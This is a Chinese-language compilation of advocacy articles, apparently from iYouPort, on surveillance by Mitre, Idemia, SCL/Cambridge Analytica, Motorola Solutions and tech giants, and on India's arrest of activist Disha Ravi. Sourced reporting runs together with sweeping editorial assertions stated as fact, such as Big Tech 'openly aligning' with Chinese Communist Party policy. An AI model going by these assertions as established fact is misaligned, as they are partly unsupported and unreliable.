它还在帮助**FBI**建立下一代身份识别（**NGI**）系统，该系统是全球最大的目标人面部、指纹和其他身份识别身体部位的数据库之一。

根据对合同记录的审查，自**2007**年初创以来，**FBI**至少花费了**5**亿美元，其中大部分给了早期开发商洛克希德-马丁公司。请注意，**Twitter**已经于今年**4**月开始支持**4K**照片！一定要注意您拍摄的内容细节！在本文的主题下，它一定不能包含您和您的朋友的手部细节！

Piehota 说，从地方到联邦的各种执法机构都可以访问它来检查目标人的身份和背景。而 Mitre，至少自**2013**年以来，已经获得了数百万美元的合同，以提供技术和指导来构建监视系统，作为之前未报告的项目的一部分，称为 **“Sugar Bowl II”**，这是一个无法解释的代码名称，FOIA记录显示。

Mitre 的高科技监控还延伸到快速增长的联网设备世界。想想智能手表、智能音箱、智能电视和监视摄像头。（《看清物联网的真面目：一项新技术将危险地加速扩大政府对公民的监视》）

在2017年9月的一份50万美元的合同中，国土安全部要求 **Mitre** 创建一个系统，可以定位并入侵智能手表、健身追踪器、家庭自动化设备、或任何可以被归类为物联网（**IoT**）系统的东西。

该合同称，这项技术可以被执法部门或边境官员使用，以帮助他们“在追踪调查中快速检测和利用物联网设备进行取证”，或者在“物理边界”使用，以入侵“通过或接近边界”的任何电子设备。（监控物联网已经不是新鲜事，这里是一份报告《你家冰箱如何作为呈堂证供？》）

想想人们穿越边境，一个监控工具会扫描每一个通过的设备，检查哪些是智能手表或其他物联网系统。监视工具可能很快吸干目标设备中的所有数据，并收集目标的活动证据，从他们的短信到他们以前的位置。

一位声称了解该合同的前警察和监控行业专家说，这项技术被海关和边境保护局（CBP）使用过。另一个消息来源是 Mitre 的前雇员和政府雇员，他说 Mitre 长期以来一直向CBP的工作人员提供数字取证专业知识，在边境进行电子设备的搜查。

而FOIA获得的价值超过**1300**万美元的合同显示，至少从2016年开始，Mitre 就为CBP提供了广泛的技术支持，其中包括对 **Rapid DNA** 技术 —— 另一个引起民权组织强烈抗议的监控工具 —— 的功效的研究。

黑客入侵智能物联网设备的权力对联邦特工来说可能是巨大的优势，尽管政府绝对不会告诉媒体这东西在哪里或如何部署。

正如2017年9月的项目大纲所解释的那样，警方一直缺乏从这类技术中获取证据的技能和资源。“物联网设备可以捕获大量的遥测数据，我可以想象在很多地方这很有用”，前国安局情报分析师杰克·威廉姆斯（Jake Williams）说，他还补充说，他很震惊这样的工具会在边境检查站使用。

法律援助协会数字取证部门的公共辩护人杰罗姆·格雷科说，“执法部门使用这种监视工具会很难对他们进行监督，而且很难追究他们如何使用的责任。”

Mitre 不仅仅是帮助政府搞审讯技术，它也实际做了一些针对人类审讯的工作。追溯到2009年，国土安全局资助的 Mitre 实验室—— 国土安全系统工程与开发研究所成立的那一年，在一项被称为 “人类气味作为欺骗的生物特征” 的研究中，一些更加激进的监视研究工作正在进行。

这项研究让人想起了更多与中央情报局有关的恐怖项目，他们开始研究 “我想我闻到了老鼠的味道” 这句话是否有任何科学依据。其目的是调查利用 “人类气味特征” 作为 “欺骗指标” 的可能性。在志愿者实施或不实施某种欺骗行为之前和之后，他们都会采集气味样本，看看是否有区别。他们还想找到证据来 “支持个人的气味签名可以作为生物识别信息的假设”。

基本问题是： 当你说谎时，你是否有一种完全独一无二的气味？是的，答案是“有”，根据国土安全局的说法，该局还没有对其他关于Mitre公司运作的询问做出回应。在2011年的最终报告的执行摘要中，作者说“结果表明，人类气味的可测量变化似乎确实允许区分欺骗性和非欺骗性的个人。”

这可能是 Mitre 更离谱的研究的一个例子，其中大部分研究仍然存储在那些麦克莱恩塔的地窖里，或者在政府服务器的机密封条下锁起来。但这就是它的地位，即使其所作所为受到严重怀疑，**Mitre** 的名字也足以让它在政府大厅内受到重视。

仍在 Mitre 公司咨询委员会任职的前CEO Faga 回忆起最近的一次五角大楼之行，那里曾召开会议讨论GPS中令人担忧的漏洞。一位代表急于知道他们应该对这个漏洞有多担心，问五角大楼是从哪里得到的信息。Faga 说，当一位官员说起 Mitre 时，房间里的气氛立即发生了变化。Faga 补充说，每个人都得出结论：“好吧，那就是真的了。”
○

Mitre Corp. runs some of the U.S. government’s most hush-hush science and tech labs. The cloak-and-dagger R&D shop might just be the most important organization you’ve never heard of.

原文

闷声发大财的跨国老大哥 - iYouPort

老大哥的真面目

该公司不仅是监视美国人的主力，而且为中国当局提供大规模监视社会的必要技术能力，它是谁？

「图」

「图」

大型科技公司收集了来自数百万人个人隐私数据，这是前所未有的；同时，还建立了一个全面的监控系统：面部识别、生物识别扫描、手机监控等等，积累了大量的信息。

我们看到了太多有关不断增长的监控状态的故事，但我们可能没有听说，有一个巨大的跨国公司正在帮助建立支持它的物理基础设施。

Idemia（前身为 Morpho），是一家十亿美元的跨国公司。它负责建立世界上大部分生物识别监控和安全系统，在大约70个国家运营。该公司的一些美国客户包括国防部、国土安全部和 FBI。该公司网站称，Morpho多年来一直在“……建立和管理整个人口的数据库……”。

在美国，Idemia 参与了在42个州颁发驾驶执照的工程。该公司正在推动美国的数字许可证试验。特拉华州和爱荷华州是今年参与试验的五个州之一。通过移动许可证，执法部门将能够无线“ping”司机智能手机的许可证。⚠ 此举是无现金支付更广泛趋势的一部分。

并且，⚠ Idemia 也正在协助中国和印度建立大规模的监控和身份识别系统，在全球范围内贩运大量生物识别数据。

在中国，Idemia 帮助建立了大规模的生物识别扫描和监视系统，用于使中国公民陷入当权者的压制之中。

该公司已向中国提供了生物识别支付和认证系统。

该公司网站说：

Morpho 在香港设有销售办事处，提供数字身份和智能交易领域的服务和解决方案。作为多种生物识别技术的全球领导者，⚠ Morpho 为中国警察部队和政府移民机构提供生物识别系统。Morpho 还为上海，天津，黑龙江，吉林，江西，广州和温州的警察机构提供面部识别系统。在印度，全球最臭名昭著的大规模监视 Aadhaar 国民身份证系统也得到了 Idemia 的支持。该公司声称它“负责 Aadhaar 的所有技术方面”。

Morpho 是选择参加 Aadhaar 计划的公司之一，以分析居住在印度的每个人，然后为每个人分配一个唯一的识别号码。 让政府掌握所有人的生物数据。

其中一份法院文件（Mathew Thomas vs India of India）详细介绍了中国“社会信用评分系统“的兴起，将印度 Aadhaar 倡议与中国的项目进行了比较。

中国政府最初允许公司汇总其客户的个人数据，并建立算法，然后可以评估这些客户的价值。随着这些应用开始融合，大型科技公司开始主导公民生活的各个方面，这些公司运行的所谓“社会信用评级系统”就变得更加普遍。

结果就是，中国的国务院发布了“社会信用体系建设计划纲要（2014–2020）”，该纲要规定将这种社会信用评级体系纳入其治理在2020年全面实现。这意味着将这种基础设施纳入国家的中央架构，并确保国家对其公民的破坏性 ……

美国正在采用令人不安的类似模式。 巨头公司（谷歌，苹果，Facebook）已经收集了我们的大部分个人数据；它们还吸收了大约 90% 的互联网流量，现在公开与中国共产党政策结盟。

Facebook 已经开始在平台上对用户“可信度”进行评级。与此同时，苹果等其他主要科技公司也正在应中国政府的要求删除内容。

在 Idemia 向美国公民发放数字驾驶执照和巨头公司的数据收集之间，我们距离中国那种社会信用评分就只剩下几英寸远了。如果不加以控制，继续任由巨头公司影响的普遍存在，事实上的社会信用体系即将到来。

Idemia 正在建设庞大的全球生物识别监控网格的基础设施。对无线，

无卡，无现金支付和购物的所谓“便利”需求正在推动我们被掌握在他们手中。

Corporation Building Spy-Grid In China Also Creating Drivers Licenses In The US: Between Idemia issuing digital drivers licenses to U.S. citizens and Big Tech’s data collection, we are inches away from a fully integrated national ID system and an accompanying social credit score.

原文

“剑桥”母公司在32个国家开展工作，并传称与中国政府也有联系 - iYouPort

公私监控伙伴关系

目前为止对剑桥分析公司（CA）和其母公司 SCL 的研究重点一直放在 CA 对美国和英国政治的影响上，其实远远不止。根据 Quartz 于 2013 年左右发布的公司文件，SCL 已在欧洲、北美南美、亚洲、非洲和加勒比海地区的32个国家开展工作。

例如在肯尼亚，SCL推出了一项涵盖47,000名受访者的政治研究项目，这是为努力了解选民的需求和担忧的一部分，然后据此数据向肯尼亚的两个主要党派之一就通信、品牌宣传和政策提出建议。

这些客户（就是政客）通常会严格执行SCL公司的建议。根据 NewYorker 数据，其客户通常被收取 20 万美元至 200 万美元的费用。在加勒比岛屿圣基茨和尼维斯，SCL 表示它能够推迟选举并举办一场“民族自豪感”运动，帮助其客户在21世纪后期保持掌权...

“行为动力学研究所”这个名字简直太糟蹋学术了。SCL由前电影制片人兼广告执行官 Nigel Oakes 领导，组织包括两位心理学家 Adrian Furnham和 Barrie Gunter。Oakes 将自己定位为“可衡量行为改变的专家”。简称“心理操控专家”。

心理学是在善恶之间走钢丝的学术，一不留神就会变成路西法。似乎太多同行已经掉下去了。

大数据技术没有直接“玩坏民主”，而是大数据用于对选民进行心理操控的使用在玩坏民主。大数据技术本身有其邪恶性，它往往很难避免对隐私权的侵犯，而正是这种深入的侵犯协助恶意使用者达成了操控的目的。

也是本网在《定制人将终结民主》一文中所强调的。

上个月，卫报引述证人报道，这家为特朗普竞选活动工作的数据分析公司获得了以色列黑客的材料，这些黑客拿到了两位现任国家元首的

私人电子邮件。多个消息来源描述了剑桥分析公司的高级主管如何在尼日利亚和 St Kitts and Nevis 竞选活动中处理由电脑黑客提供的材料。这些数据是非法获取的。

此前，有消息显示剑桥公司与中国有联系，但目前为止没有更多证据显示他们为中国工作，以及具体工作内容。理论上中国不需要他们碰国内的数据，因为执政的共产党不需要为竞选拉票，对于监控民众来说，国内的 BAT 就足够了。

但中国另外需要两方面数据：一是在国际社交媒体上的试图匿名的中国异议，二是外交敏感国家的政局预测（包括“一带一路”相关国家和所谓的“敌对国家”）...于是，证据的查询可重点关注这两方面 。

另，波特兰新闻先驱报的一篇报道指，在股权方面 CA 的老板和一个 Erik Prince 在香港的公司有关，而那个香港公司的其中一个股东是中信。中信不久前是前常委刘乐飞（宣传部老板刘云山的儿子）控制的公司。如此显示，CA和中共的公司存在间接的财务关系。（感谢网友 @notonbandwagon 提供的线索）

期待更多消息曝光。

The breathtaking global reach of Cambridge Analytica’s parent company

According to company documents issued around 2013, which were reviewed by Quartz, //#SCL// has worked in 32 countries across Europe, North and South America, Asia, Africa, and the Caribbean.

原文

Tech Giants 揭示了政府对数据的疯狂索取 - iYouPort

公私监控伙伴关系

内部人士在3月早些时候在伦敦举行的一次私人安保简报会上透露，世界各地的执法机构正在轰炸苹果、Facebook、谷歌和微软等科技巨头，每周都有成千上万的数据请求。

数据要求范围从在线欺诈到恐怖主义调查，但是，也暴露了政府对科技公司的滥用。一家全球性技术公司被政府要求交出**5800**万用户的姓名和地址，只因为政府试图追查一个可疑的人（似乎有可能制造袭击事件）。

此次活动让硅谷的主要公司与美国和英国的主要执法机构讨论如何*共同合作*。它是根据查塔姆大厦规则举行的，媒体不被允许进入，客人只能通过邀请进入。福布斯没有透露发言人或其雇主的姓名。

数字权利机构民主与技术中心政策副总裁克里斯卡拉布雷斯（Chris Calabrese）称这5800万的请求“令人惊讶”和“不同寻常”。

“这里有很多广泛的要求，看起来它们似乎有意在推迟，”他补充说，谈到在活动期间透露的其他案件。“我们很高兴他们这样做……有很多关于我们所有人的信息，我们真的依靠第三方来为我们提供帮助。”

为大型科技公司工作的安全专家还概述了调查人员试图获取的其他数据。警方在一家技术提供商的商店内要求整整一个月的监视录像，这相当于1.2TB的庞大数据量，作为对该分店的扒窃调查的一部分。

所涉及的科技公司决定，由于大多数镜头记录下的是无辜的人，它不会交出视频。据该员工说，相反，它交出的信息不到一千兆字节，警方最终也解决了这一案件。

虽然科技公司很少披露有关数据请求的细节，但大多数公司至少都提供透明度报告。例如，苹果在其最新的透明度报告中透露，在2018年

的前六个月，收到了美国的8,000个请求。相比之下，谷歌收到了近30,000个。虽然你可以怀疑数字掺水。

近年来，手机和通信应用程序的加密一直是科技公司和安全机构之间的一个冲突热点，但在头条新闻之外，各组织之间的联系比人们普遍认为的要更加密切。

Apple 雇用了一些前警察来管理其执法响应团队、并领导培训课程，以帮助警方了解如何最好地获取与其调查相关的数据。

伦敦活动的发言人还概述了警方如何在不寻求科技公司帮助的情况下获取数据。据技术人员称，调查人员可以通过窃听相关的智能电视或汽车娱乐系统来绕过安全保护锁定的手机。

例如，人们已经充分认识到 iPhone 及其上的数据可以在 Apple TV 或 CarPlay 上进行镜像，默认情况下，这两者都不需要密码或其他身份验证来打开设备。于是，如果警察在进行搜索时速度足够快，他们就可以打开电视或汽车信息娱乐系统，并获得有用的证据—— 这点要警告所有苹果用户注意。

更多《政府的压力将透明度报告从言论自由的庆典变成了审查的庆典》

“"58" Million Names And Addresses, Please”—Tech Giants Reveal Wild Government Requests for Data. Speakers at the London event also outlined how police could obtain data without reaching out for assistance

原文

以手机闻名的公司正在迅速成为政府监控的主要参与者 - iYouPort

公私监控伙伴关系

摩托罗拉是竞相提供监控公众的新方法的科技公司之一

「图」

「图」

形形色色的监视工具已安装在学校和公共房屋中、部署在街道和公交设施上，并由警察佩戴在身上。

它们是由一系列 **竞争政府业务** 的技术公司开发的。是的，不仅是中国，全球都是如此。因为政府对每时每刻监视全社会具有浓厚的兴趣。

而现在，许多这类技术都集中到了一家寻求在蓬勃发展的监视市场中占据更大份额的公司所有。

摩托罗拉（Motorola）这个通常与手机和警用无线电相关的品牌，已经加入了监视技术公司之间的竞争，以提供监控公众的新方法。

自2017年以来，总部位于芝加哥的科技公司（现称为 Motorola Solutions，在摩托罗拉公司拆分了其手机业务之后）已投资**17**亿美元，以支持或收购制造警用监控摄像头的公司，训练相机发现某些面孔或行为、通过视频筛选可疑人员、并通过车牌跟踪汽车的行驶。

通过将这些监视工具整合到一个公司中、并有可能将它们组合到一个产品中，**Motorola Solutions** 正在提高其在监视行业中的地位 —— 并加剧了人们对政府日益强大的权力来监视人们一举一动的担忧。

“当您的信息分散在很多代理商和实体之间时，您的隐私相比下将得到更多保护”，美国公民自由联盟的高级政策分析师 Jay Stanley 说，他在那里研究技术对隐私的影响，“但是，我不知道像整合 Motorola

Solutions 这样的公司会产生什么样的协同效应，但总的来说前景不容乐观。”

「图」

「图」

A Vigilant Solutions camera that scans license plates. Motorola Solutions now owns the company. Vigilant Solutions

摩托罗系统公司没有让高管回答有关收购或收购计划的问题。该公司发表了一份声明，描述了一项计划，即 向出售给公共安全[维稳]机构的工具包中添加包括对象检测和 “异常运动检测” 在内的人工智能产品的计划。

该公司表示，该系统可以帮助标记潜在的侵入者或建筑物冒烟的外观状况。该公司强调说，新工具并不是要做出自动警务决策，而是要“帮助官员决定如何采取行动”。

两年前，Stanley 在国际警察总长协会年会上首先注意到了 Motorola Solutions 的新方向。在博客文章中，他包括了摩托罗拉解决方案展台的照片，该展台推广了其新的警用监视摄像机系列以及分析视频的新方法。

摩托罗拉系统公司进入高科技监控领域的最初并没有引起隐私研究人员的严格审查。但是随着该公司继续组装强大的监视工具，情况正在发生变化。

这些监视技术包括：

1、识别人的警用身体监视摄像机：2017年，摩托罗拉解决方案投资并与一家名为 Neurala 的波士顿人工智能创业公司合作，开发了可以根据其外观实时搜索人或物体的警用摄像机。

摩托罗拉说，这种合作关系仅限于 “早期技术可行性研究、原型和客户研究”。

到2019年7月，摩托罗拉又收购了得克萨斯州身体摄像机制造商 WatchGuard，这将有助于其增加现有的身体摄像机产品线。

- 不要错过《身体相机适得其反吗？中国正在开始流行这种东西》

2、可以跟踪人的运动的监控摄像机：2018年3月，摩托罗拉收购了一家加拿大公司 Avigilon，该公司出售监控摄像头以及用于扫描特定人员或车辆的监控软件。

Avigilon 已签订合同，向包括田纳西州威尔逊在内的多个学区提供这些人工智能驱动的监视应用，包括乔治亚州富尔顿、和佛罗里达州布劳沃德。

根据 Avigilon 的宣传材料、公共合同文件、以及对当地政府官员的采访，其客户还包括马萨诸塞州的新贝德福德住房管理局、加利福尼亚州的埃尔克格罗夫警察局、和加利福尼亚州伯克利市。

3、自动车牌读取器：去年1月，摩托罗拉系统公司收购了位于加利福尼亚的 Vigilant Solutions 所有的 VaaS International Holdings，该组织与政府机构合作，包括美国数百个警察局以及臭名昭著的移民和海关执法局，以收集和共享有关自动车牌读取器捕获的汽车位置数据。

- 不要错过《如何愚弄自动车牌阅读器？》

VaaS 还拥有数字识别网络，该网络与私人公司共享车牌读取器数据。

在去年8月1日与股票市场分析师进行的电话会议中，摩托罗拉董事长兼首席执行官 Greg Brown 描述了他的公司如何将这些技术结合到产品套件中，特别关注警察和学校的使用。

“我们正在建立平台，”Brown 说，“不只是视频 ……这是存储、管理、分析、机器学习和AI的集成，利用所有这些端到端经验，并提供了针对特定行业的用例进行的区分。这是一个热门市场。”

摩托罗拉并非独有这种策略。包括亚马逊、微软和 IBM 在内的监控市场上更大的参与者已经扩大了在人工智能公司的股份。

- 更多详细报告见列表-2 “公私监控伙伴关系” 和 “老大哥的真面目”

不仅是寡头。像 Axon（以前称为 Taser）这样的新兴竞争对手也是如此，该公司已成为美国最大的警用摄像头提供商，并正在探索人工智能的新用途。

公立学校是发展最快的监视市场之一。摩托罗拉利用了这一趋势，在过去两年中，Avigilon 赢得了大约十二份安装最新视频监控网络的合

同。

买家包括田纳西州威尔逊的学校，他们为两所最新的学校配备了摄像头，这些摄像头可以根据人们的外观自动跟踪他们穿过房间和走廊的情况。

「图」

「图」

Avigilon Appearance Search technology allows users to search for a person by selecting physical descriptions, including hair and clothing color, gender and age.Avigilon

威尔逊学校副主任 Mickey Hall 表示：下一步学区的监视系统可能包括读取所有驶过的汽车的车牌，并通过人们的面孔识别行人的系统。

但是，无疑，这项技术也增加了政府和私人公司积累过多权力以影响人们生活的风险，美国公民自由联盟的 Stanley 说：一旦将某人作为此类监视的目标，无论他们是犯罪嫌疑人、持不同政见者、还是被误认的其他人，当局都可以检查他们去过的所有地方，并可能发现有罪的行为。

他说："这是将分散的摄像机变成了大规模监视机器，使公司和政府间谍可以使用它们来重现任何人的生活。"

Northcoast Research 跟踪摩托罗拉系统公司的分析师 Keith Housum 表示，最近与监视相关的收购仅占公司业务的一小部分，但由于投资者将其视为新的收入来源，因此有助于提振股价。

Housum 补充说："人工智能对他们的产品组合非常重要，因为收集了如此多的信息、记录了如此多的视频，所以您不可能用肉眼浏览它们。"

非营利组织电子前沿基金会的资深调查研究员 Dave Maass 提倡限制政府监控，并记录了执法部门与 Vigilant Solutions 的车牌阅读器所收集数据的广泛共享，他表示，他希望看到更多的地方政府能通过要求对该技术进行更深入公众审查的法令。

"所有这些技术的融合突显出监视是一项大生意，" Maass 在电子邮件中说，"重要的是要确保我们社会中有关监视的决策不受销售和利润的驱动，而是受社区实际需求的驱动。" ○

Motorola, known for cellphones, is fast becoming a major player in government surveillance and artificial intelligence

原文

共谋侵犯人权，以保留进入中国以外最大的数字媒体用户市场的交易 - iyouport

公私监控伙伴关系协助暴政的家伙们

这是一个可怕的故事，再次提醒中国敏感人士小心

【注】此前有同类的另一篇文章《从在线骚扰到线下逮捕：社交媒体被武器化针对异议人士，美国寡头漠不关心》，本文再次提醒，这不是特例。这种情况在全球发生。

这是一个可怕的故事。印度能这样做，中国就也能这样做 —— 并且中国从20年前就开始瞄准美国巨头公司的社交媒体平台和服务，从中抓捕和定罪异议人士。唯一的不同在于，中国目前为止都没有这种大规模的行动主义动员，不论是在线行动还是线下行动。

针对在线行动，我们提供过《信息行动主义指南》系列教程，对于线下行动，我们有《示威者指南》和《行动主义》系列，尤其是，我们制作了全套的《整体安全》教程，从在线组织到线下行动，旨在全面保护您和团队的安全。但是，如果您和团队准备实践这些教程，切勿通过美国巨头的社交媒体平台和服务，本文的案件应该作为一个警告，而且是再一次的警告。这只是近期发生的所有情况之一

在德里庞大的蒂哈尔监狱外密布的摄影机群，是那种你以为等待的会是陷入贪污丑闻的总理、或者宝莱坞明星被捉奸式的媒体狂热。但相反，这些摄影机在等的人是迪莎·拉维（Disha Ravi），一位热爱自然的22岁素食主义者和气候正义活动家，她不顾一切地反抗却发现自己陷入了一个奥威尔式的法律传奇，包括煽动叛乱和参与国际阴谋的指控，其要素包括（但不限于）：印度农民的反抗、全球流行歌手蕾哈娜、所谓的反对瑜伽和茶的阴谋、锡克教分离主义，以及瑞典气候活动家格蕾塔·通贝里 (Greta Thunberg)。

如果你觉得这听起来很牵强，那么，在警方审讯下，在监狱里呆了9天后保释拉维的法官也是这样认为的。法官 Dharmender Rana 本来是要裁决是否应该继续拒绝保释拉维，他是格蕾塔·通贝里发起的青年气候组织 Fridays For Future 印度分会的创始人之一。他裁定没有理

由拒绝保释，这为拉维当晚返回班加罗尔的家扫清了障碍。

但法官也觉得有必要更深入地评论，对这起笼罩印度媒体数周的案件做出了长达18页的严厉裁决，对德里警方就拉维当初为何被抓的各种解释做出了自己的个人判决。他写道，警方针对这位年轻气候活动家的证据“少之又少”，“甚至可以说没有一丝一毫的证据”来支持针对她和至少另外两名年轻活动家的煽动或阴谋的指控。

虽然这起国际阴谋案似乎已经分崩离析，但拉维的被捕却凸显了另一种勾结—— 这种勾结发生在印度总理纳伦德拉·莫迪（**Narendra Modi**）日益压迫性和反民主的印度教民族主义政府与美国硅谷公司之间，硅谷公司的工具和平台已成为政府军煽动对弱势少数群体和批评者仇恨的主要手段—— 也是警方将像拉维这样的和平活动家困在高科技数字网络中的主要手段。

针对拉维和她的“同谋”的案件完全取决于对知名数字工具的常规使用：**WhatsApp** 群组、集体合作编辑的谷歌文档、一次私人**Zoom**会议、和几条高调的推文，所有这些都被作为国家支持的和媒体放大的追捕行动的“关键证据”。同时，这些工具也被用于协调亲政府的信息战活动，旨在操纵公众情绪转而反对年轻的活动家和他们共同支持的农民运动，这通常明显违反了巨头社交媒体公司声称为“防止在其平台上进行暴力煽动”而设立的围栏。

在印度，网络上的仇恨已经以令人不寒而栗的频率演变为现实世界中针对女性和少数族裔的大屠杀，人权倡导者警告说，印度正处在可怕的暴力的刀刃上，甚至可能是社交媒体协助和怂恿的针对缅甸罗兴亚人的种族灭绝式的流血事件。

在这一切的过程中，硅谷的巨头们都保持了明显的沉默，他们对言论自由的著名承诺、以及他们对所谓的打击仇恨言论和阴谋论的新承诺，在印度完全无处可寻。取而代之的是这些美国巨头与莫迪的信息战之间越来越多的和令人不寒而栗的共谋，这种共谋将被锁定在一项严厉的新数字媒体法下，该法律规定科技公司如果拒绝与政府合作删除违规材料是非法的。

共谋侵犯人权，似乎是这些硅谷巨头保留进入中国以外最大的数字媒体用户市场的交易。

在该公司早期的一些抵制之后，批评莫迪政府的 Twitter 账户在没有任何解释的情况下被消失了数百个；政府官员在 Twitter 和 Facebook 上从事赤裸裸的煽动和公开的仇恨言论反而被允许继续存在，这显然

违反了该公司自己的政策；德里警方吹嘘说，他们在挖掘像拉维这样的和平气候活动家的私人通信时，从谷歌那里得到了大量有益的合作。

“这些公司的沉默很能说明问题”，一位因害怕报复而要求匿名的数字权利活动家告诉记者，“他们必须表明立场，而且他们必须现在就这样做。”2015年9月27日，印度总理纳伦德拉·莫迪（Narendra Modi）左，Facebook首席执行官马克·扎克伯格（Mark Zuckerberg）右，在加利福尼亚州门洛帕克（Menlo Park）的Facebook总部举行会议后

印度媒体将其称为 “工具包案”、“Greta工具包” 和 “工具包阴谋”，警方正在对拉维以及同为活动家的尼基塔·雅各布和尚塔努·穆鲁克进行调查，调查的中心是瑞典气候活动家格蕾塔·通贝里2月初在推特上向她的近500万名追随者发布的一份社交媒体指南的内容。当拉维被捕时，德里警方宣称她 “是工具包 Google Doc 的编辑&文件制定&传播的关键密谋者。她创办了 WhatsApp 群，并合作制作了该工具包文档。她与他们紧密合作，起草了那个谷歌文档”。

这个工具包不过是一个由印度和海外的活动家临时收集起来的谷歌文档，旨在为几个月来一直在举行大规模抗议活动的农民反抗者们争取支持。

农民反对莫迪政府在冠状病毒大流行的掩护下匆匆通过的一套新农业法。抗议活动的核心是认为，取消对农作物的长期价格保护，向更多私人投资开放农业部门，小农将面临 “死刑令”，印度的肥沃土地将落入少数大公司手中。

在这里看到这场抗议运动的故事《异议的收成》。

无论是在印度还是在全球南亚侨民中，以及更广泛的范围内，许多非农人士都在寻找帮助的途径。青年人领导的气候运动觉得自己有特别的责任站出来。正如拉维在法庭上所说，她支持农民，“因为他们是我们的未来，我们都需要吃饭”。而她也指出了气候的关系。近年来，干旱、热浪和洪水都愈演愈烈，印度的农民站在了这些气候影响的第一线，他们经常失去庄稼和生计，拉维亲眼目睹了自己的农民祖父母与极端天气斗争的经历，她对此深有体会。

就像数字时代反抗组织的无数此类文件一样，作为这场争论中心的工具包包含了人们熟悉的自助建议，主要是在社交媒体上表达对印度农民的声援。“发推文支持印度农民。使用标签 #FarmersProtest #StandWithFarmers”；拍摄一张照片或一段视频，表示你支持农

民；在请愿书上签名；给你的代表写信；参加“推特风暴”或“数字罢工”；亲自参加其中一次抗议活动，无论是在印度境内还是在你所在国家的印度大使馆门前；通过参加 Zoom 信息会议了解更多……。该文件的一个早期版本（很快被删除了）谈到了挑战印度的和平与爱，或“瑜伽和茶”的民族主义公众形象。

几乎每一个主要的行动主义倡导都会产生与此一模一样的活动指南。大多数中等规模的非政府组织都有人负责起草这样的文件，并将其发送给潜在的支持者和“影响者”（在线活动家）。如果这些文件是非法的，那么当代行动主义本身就是非法的。通过逮捕和监禁拉维，因为她被指控为该工具包的编辑，她在本质上被定罪，因为她让印度在世界面前看起来很糟糕。根据这个定义，所有的国际人权工作都需要被关闭，因为人权工作很少会帮助政府留下什么好印象。

裁定拉维保释的法官有力地指出了这一点。“在任何民主国家，公民都是政府良心的守护者。他们不能仅仅因为选择不同意国家政策而被关进监狱”，他写道。至于与图恩伯格分享工具箱，法官指出，“言论和表达自由包括寻求全球受众的权利”。

这只是显而易见的道理。然而不知何故，这份最善良的文档却被多名政府官员抓住了，认为它是更邪恶的东西。莫迪的道路运输和公路国务部长 VK Singh 将军在 Facebook 上发文称，该工具包“揭示了国际上针对印度的阴谋的真实设计。需要调查拉动这个邪恶机器的各方。清楚地列出了‘如何’、‘何时’和‘做什么’的指示。这种规模的阴谋往往都会被曝光。”

这些统治阶级将反抗者的国际联盟称为“阴谋”。显然，跨国联盟的力量是最强大的，对各个联盟国家的当权者都具有最大的威胁性。

德里警方很快就得到了提示，开始利用殖民时代的严厉的“煽动法”，寻找这个所谓的“诽谤国家”、破坏政府的国际阴谋的证据。但并没有止于此。这套工具箱还被指责为秘密阴谋的一部分，目的是要将印度分裂开，建立一个名为 Khalistan 的锡克教国家（更多的是煽动），因为一位在温哥华的印裔加拿大人帮助整理了这套工具箱，他对建立一个独立的锡克教家园的想法表示了一定的同情（这不是犯罪，该工具箱中也没有提到）。

也就是说，当局明确知道所有参与者的身份，以及所在地。

值得注意的是，对于警方声称主要是在加拿大编写的一个谷歌文档，这个工具包被指控煽动并可能策划1月26日在德里举行的大型农民

“拖拉机集会” 的反抗运动。2021年1月26日，印度纪念共和国日，成千上万开着拖拉机农户进入新德里，抗议纳伦德拉·莫迪（Narendra Modi）政府通过的新农业法律。抗议活动升级

几个星期以来，这些说法在网上疯传，其中大部分是在印度外交部牵头协调的标签信息战运动下，并得到宝莱坞和板球顶级明星的忠实回应。哈里亚纳邦的政府部长 Anil Vij 用印地语在推特上写道：“不管是谁，只要心中有反民族主义的种子，就必须从根部摧毁，无论是 #Disha_Ravi 还是其他任何人”。此贴被质疑为明显的强势人物仇恨言论的例子，但 Twitter 声称该帖子 “并没有违反其政策”，并将其保留了下来。

印度平面媒体和广播媒体毫不留情地回应了煽动叛乱的荒谬指控，仅《印度时报》就出现了100多篇关于拉维和工具箱的报道。电视新闻节目对这个国际联盟工具箱的 “阴谋” 进行了批判犯罪口吻的报道。不足为奇的是，愤怒的民族主义情绪已经蔓延到了街头，在捍卫政府的集会上，图恩伯格和蕾哈娜（她也发推特支持农民）的照片被烧毁。

莫迪本人甚至还直接发表了看法，他谈到了那些 “卑鄙到连印度茶都不放过” 的敌人—— 人们普遍认为这是指已经被删除的 “瑜伽与茶” 的文字。

然后，2月初，整个乱象似乎落空了。法官在释放拉维的命令中写道，“对上述 ‘工具包’ 的审阅显示，任何形式的暴力呼吁都明显不存在”。他写道，关于该工具包是分离主义阴谋的说法也完全没有得到证实，这是一个精心设计的连带罪推论。

至于向图恩伯格这样的著名活动家传播有关印度对待农民和人权维护者的批评信息构成 “煽动叛乱” 的指控，法官的批评特别严厉：“不能援引煽动罪来迎合政府受伤的虚荣心。”

案件还在进行中，但这一裁决代表着对政府的重大打击，也是对农民运动和支持他们的声援运动的平反。然而，这很难被称为一场胜利。即使工具包案因法官的一记耳光而失去动力，它也只是印度政府为追捕活动家、组织者和记者而发起的数百次运动之一。比拉维大一岁的劳工组织者诺德普·考尔（**Nodeep Kaur**）也因支持农民而入狱。刚被保释出来的考尔在法庭上表示，她在被警方拘留期间遭到毒打。与此同时，数百名农民仍被关在监狱里，一些被捕者已经被强迫失踪。

该工具包对莫迪和执政的印度人民党**(BJP)**所代表的真正威胁，从根

本上说，始终是关于农民运动的力量。

莫迪的政治代表了释放的印度教沙文主义与高度集中的企业权力的有力合并。农民对这一双重力量提出了挑战，一方面是他们坚持粮食应该在市场逻辑之外，另一方面是该运动被证明有能力跨越宗教、种族和地域的分歧而建立行动，而这正是莫迪上台的命脉。

在这里看到详细解读《少说话，多办事 …… 当坏蛋手持宪法》。

哥本哈根大学教授、《全新的国家》（Brand New Nation）一书的作者 Ravinder Kaur 写道，农民“也许是后殖民时代印度历史上最大规模的群众动员，这种动员跨越了农村和城市人口，将反对放松管制的资本主义的反抗与争取公民自由的斗争结合在一起”。对于莫迪强大的跨国资本与超民族主义国家的合并，“农民反抗运动对这个联盟构成了迄今为止最持续和最直接的挑战”。

